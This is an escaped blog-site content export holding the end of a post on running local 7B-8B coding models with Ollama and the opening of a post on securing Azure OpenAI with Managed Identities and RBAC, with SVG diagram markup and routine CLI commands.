text-anchor='middle' x='248' y='292' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='100' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='180' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='212' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='292' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='212' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='212' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='212' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='116' fill='currentColor' style='font-size:1em'\u003e|\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='340' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='228' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='340' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='228' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='340' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='228' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='340' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='116' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='340' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='228' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='340' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='228' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='340' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='340' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='116' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='340' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='340' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='340' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='228' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='228' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='228' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='116' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='228' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eVisual Notes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eVRAM allocation emphasizes why models are unloaded sequentially on 8GB-12GB GPUs.\u003c/li\u003e\n\u003cli\u003eThe OpenCode IDE Session acts as the persistent context bridge between independent model inferences.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eStep 1: Pull both models\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama pull qwen3.5:8b\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama pull gemma4:e4b\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eStep 2: Use Qwen3.5 8B for the complex logic\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eIn OpenCode:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/model qwen3.5:8b\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/add src/api/processor.ts\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWrite an async function that reads a large JSON dataset, groups records by a complex composite key, and calculates aggregations efficiently.\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eReview and apply the diff. Qwen3.5 8B handles the complex logic and performance optimizations correctly.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStep 3: Hot-swap to Gemma 4 E4B for UI components\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/model gemma4:e4b\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/add src/components/ui.tsx\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/image mockup.png\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eBased on the provided mockup image, generate a responsive React component using Tailwind CSS that displays the aggregated data metrics.\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eGemma 4 E4B uses its multimodal vision capabilities to analyze the mockup and generates the corresponding UI code. Apply the diff.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStep 4: Verify the build\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRun: npm run build\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIf a build fails due to a mismatched type, the model sees the error message in the conversation and can generate a corrected version without you copying anything.\u003c/p\u003e\n\u003cp\u003eThe hot-swap takes 5–10 seconds. Ollama unloads one model from VRAM and loads the other. On an NVMe SSD, loading a 5GB model takes under 2 seconds. The OpenCode session state persists across model switches.\u003c/p\u003e\n\u003ch2 id=\"best-practices\"\u003eBest Practices\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eKeep 2–3 models installed.\u003c/strong\u003e Each serves a different role. Don\u0026rsquo;t use a coding model to draft technical documentation — the output is terse to the point of being unhelpful. Don\u0026rsquo;t use a generalist to write strict unit tests — it wanders.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStore models on NVMe.\u003c/strong\u003e Ollama stores model files in \u003ccode\u003e~/.ollama/models\u003c/code\u003e by default. Move this directory to a fast drive with the \u003ccode\u003eOLLAMA_MODELS\u003c/code\u003e environment variable. Gen4 NVMe load time for a 5GB model: under 2 seconds. SATA SSD: 8–12 seconds. Spinning disk: 30–60 seconds. The hot-swap experience is entirely different depending on storage speed.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eDon\u0026rsquo;t exceed native context limits.\u003c/strong\u003e For instance, setting \u003ccode\u003enum_ctx\u003c/code\u003e beyond 8,192 for Granite 4.1 8B causes coherence degradation. Always map your task\u0026rsquo;s context requirement to the model\u0026rsquo;s native limit — use Qwen3.5 8B for large contexts.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eVerify before committing.\u003c/strong\u003e Before using a model for a new language or framework version you haven\u0026rsquo;t tested, send a few representative prompts and confirm the output compiles. Training data cutoffs mean models have blind spots — and they don\u0026rsquo;t always know what they don\u0026rsquo;t know.\u003c/p\u003e\n\u003ch2 id=\"troubleshooting\"\u003eTroubleshooting\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eProblem: The model consistently generates outdated syntax.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: The model\u0026rsquo;s training data predates the framework version you\u0026rsquo;re using.\u003c/p\u003e\n\u003cp\u003eFix: Add explicit version constraints to your Modelfile system prompt. For React 19: \u003ccode\u003e\u0026quot;You must use React 19 Server Components syntax. Do not use class components or legacy lifecycle methods.\u0026quot;\u003c/code\u003e The model follows explicit constraints more reliably than it infers them.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eProblem: Hot-swapping causes a 30+ second lag.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: Ollama is reading a 5GB model file from a slow storage device.\u003c/p\u003e\n\u003cp\u003eFix: Move \u003ccode\u003e~/.ollama/models\u003c/code\u003e to an NVMe drive by setting \u003ccode\u003eOLLAMA_MODELS=/path/to/fast/drive\u003c/code\u003e and restarting Ollama. Also confirm Ollama fully unloads the previous model before loading the next one — run \u003ccode\u003eollama ps\u003c/code\u003e and wait for an empty list before switching.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eProblem: \u003ccode\u003eCUDA error: out of memory\u003c/code\u003e during a hot-swap.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: The Ollama server allocated VRAM for the new model before fully evicting the previous one.\u003c/p\u003e\n\u003cp\u003eFix: After finishing with a model, explicitly unload it: \u003ccode\u003eollama stop qwen3.5:8b\u003c/code\u003e. Wait for \u003ccode\u003eollama ps\u003c/code\u003e to show no active models, then switch. This adds a few seconds but prevents OOM during the transition.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003cp\u003eThe 7B-8B class is the practical ceiling for standard consumer hardware, and it\u0026rsquo;s capable enough for the majority of real development tasks. Qwen3.5 8B and Gemma 4 E4B lead the pack with complementary strengths: Qwen3.5 for massive context windows, vision, and general coding speed, and Gemma 4 for edge deployment, extreme efficiency, and native multimodal support. DeepSeek-R1-Distill-Qwen-7B fills the complex reasoning role, while IBM Granite 4.1 8B provides a fully auditable option for strict compliance environments.\u003c/p\u003e\n\u003cp\u003eDon\u0026rsquo;t settle on one model for everything. Role-based model assignment — matching the model to the task rather than forcing one model to do everything — is the approach that actually works in production.\u003c/p\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://huggingface.co/ibm-granite\"\u003eIBM Granite 4.1 8B on Hugging Face\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://huggingface.co/Qwen\"\u003eQwen3.5 8B on Hugging Face\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ollama/ollama/blob/main/docs/api.md\"\u003eOllama API Documentation — Model Management\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://blog.google/technology/developers/gemma-4\"\u003eGemma 4 Release Announcement\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://huggingface.co/deepseek-ai\"\u003eDeepSeek-R1 Release Announcement\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://huggingface.co/docs/hub/en/gguf\"\u003eGGUF Format Specification\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n1. 3D Abstract / Isometric: A clean 3D isometric workspace showing two glowing AI server cubes connected by vibrant fiber optic data pipelines smoothly exchanging information, set against a dark modern studio background with soft ambient lighting, wide landscape format, 16:9 aspect ratio, no text, no UI elements, no faces.\n2. Cyber-Industrial / Data Flow: High-contrast, dramatic view of glowing code streams and geometric data structures flowing rapidly into a central processor core in a dark high-tech environment, cyber-industrial aesthetic, vivid blue and orange neon accents, wide landscape format, 16:9 aspect ratio, no text, no UI elements, no faces.\n3. Macro Tech Detail: Extreme close-up of a sleek, modern printed circuit board with glowing copper traces illuminating two distinct microchip cores, soft bokeh background, dramatic cinematic lighting, professional tech aesthetic, wide landscape format, 16:9 aspect ratio, no text, no UI elements, no faces.\n--\u003e\n","description":"A comparison of the top-performing local coding models in the 7B-8B class, highlighting the exceptional capabilities of Qwen3.5 8B and Gemma 4 E4B alongside other leading models.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/best-8b-code-models-local-development/","title":"The Best 7B and 8B Code Models for Local Development in 2026"},{"content":"\u003cp\u003eYou followed the quickstart. You grabbed the key from the portal, pasted it into a \u003ccode\u003e.env\u003c/code\u003e file, and your app worked. Now that key lives on your laptop, in your CI/CD secrets, probably in a Slack message from six months ago, and quite possibly in a git log you haven\u0026rsquo;t checked. It does not expire. It grants full access to every deployment in your OpenAI resource. You aren\u0026rsquo;t doing it wrong — you just followed the path Microsoft laid out for onboarding, not production.\u003c/p\u003e\n\u003cp\u003eManaged Identities remove the credential from the equation entirely. Your compute resource authenticates using its Azure identity. No static secret is created, stored, or rotated. The 32-character string simply stops existing.\u003c/p\u003e\n\u003ch2 id=\"1-why-api-keys-fail-at-enterprise-scale\"\u003e1. Why API Keys Fail at Enterprise Scale\u003c/h2\u003e\n\u003cp\u003eAPI keys are bearer tokens: possession equals authorization. They carry no identity context, no MFA requirement, no device compliance check. When you need to rotate one, every consuming application breaks simultaneously — which is why your team has been using \u0026ldquo;Key 1\u0026rdquo; for eight months without touching it.\u003c/p\u003e\n\u003ch3 id=\"specific-risks-for-ai\"\u003eSpecific Risks for AI\u003c/h3\u003e\n\u003cp\u003eAzure OpenAI keys grant access to every deployment within a resource. An attacker with a key can call any model, not just the one intended for a specific application. Because AI workloads often run at high token-per-minute (TPM) quotas, a leaked key can generate massive cost spikes and trigger data exfiltration before you notice the breach.\u003c/p\u003e\n\u003ch2 id=\"2-managed-identities-concepts-and-types\"\u003e2. Managed Identities: Concepts and Types\u003c/h2\u003e\n\u003cp\u003eManaged Identities work by calling the Azure Instance Metadata Service (IMDS) at \u003ccode\u003e169.254.169.254\u003c/code\u003e. Your compute resource requests a short-lived OAuth 2.0 token, which the Azure SDK handles automatically.\u003c/p\u003e\n\u003ch3 id=\"user-assigned-vs-system-assigned\"\u003eUser-Assigned vs. System-Assigned\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSystem-assigned:\u003c/strong\u003e Tied to the resource lifecycle. Delete the VM, and the identity is deleted with it.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eUser-assigned:\u003c/strong\u003e Created independently and attached to one or more resources.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eFor production AI workloads, use \u003cstrong\u003eUser-Assigned Managed Identities\u003c/strong\u003e. They decouple the identity lifecycle from the infrastructure, so you can pre-provision RBAC assignments and maintain identity stability across resource redeployments.\u003c/p\u003e\n\u003ch2 id=\"3-rbac-roles-for-azure-openai\"\u003e3. RBAC Roles for Azure OpenAI\u003c/h2\u003e\n\u003cp\u003eIdentity is only half the solution. You also need to grant the correct permissions at the correct scope.\u003c/p\u003e\n\u003ch3 id=\"the-openai-user-role\"\u003eThe OpenAI User Role\u003c/h3\u003e\n\u003cp\u003eFor standard application workloads, assign the \u003cstrong\u003eCognitive Services OpenAI User\u003c/strong\u003e role (ID: \u003ccode\u003e5e0bd9bd-7b93-4f28-af87-19fc36ad61bd\u003c/code\u003e). This role allows inference calls — chat, completions, embeddings — but does not allow managing deployments or fine-tuning.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eScope your assignments at the resource level.\u003c/strong\u003e Granting access at the Resource Group or Subscription level gives too much lateral access. Assign the role specifically to the Azure OpenAI account itself.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Get the principal ID of your User-Assigned Managed Identity\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMSI_ID\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e$(\u003c/span\u003eaz identity show -n my-mi -g my-rg --query principalId -otsv\u003cspan style=\"color:#66d9ef\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Get the resource ID of your OpenAI account\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOPENAI_ID\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e$(\u003c/span\u003eaz cognitiveservices account show -n my-openai -g my-rg --query id -otsv\u003cspan style=\"color:#66d9ef\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Assign the role\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eaz role assignment create \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    --role \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Cognitive Services OpenAI User\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    --assignee \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$MSI_ID\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    --scope \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$OPENAI_ID\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"4-defaultazurecredential-one-pattern-everywhere\"\u003e4. DefaultAzureCredential: One Pattern Everywhere\u003c/h2\u003e\n\u003cp\u003eThe \u003ccode\u003eazure-identity\u003c/code\u003e library provides \u003ccode\u003eDefaultAzureCredential\u003c/code\u003e, a unified authentication pattern that works across all environments without changing a line of code.\u003c/p\u003e\n\u003ch3 id=\"defaultazurecredential-resolution-chain\"\u003eDefaultAzureCredential Resolution Chain\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 624 233\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 80,48 L 328,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,96 L 392,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 520,96 L 584,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,144 L 392,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 504,144 L 584,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,192 L 328,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,8 L 72,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,48 L 72,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,192 L 72,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,16 L 336,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,96 L 336,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,144 L 336,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,16 L 592,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='88.000000,192.000000 76.000000,186.399994 76.000000,197.600006' fill='currentColor' transform='rotate(180.000000, 80.000000, 192.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='336.000000,48.000000 324.000000,42.400002 324.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 328.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='592.000000,96.000000 580.000000,90.400002 580.000000,101.599998' fill='currentColor' transform='rotate(0.000000, 584.000000, 96.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='592.000000,144.000000 580.000000,138.399994 580.000000,149.600006' fill='currentColor' transform='rotate(0.000000, 584.000000, 144.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='16' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='180' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='180' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' 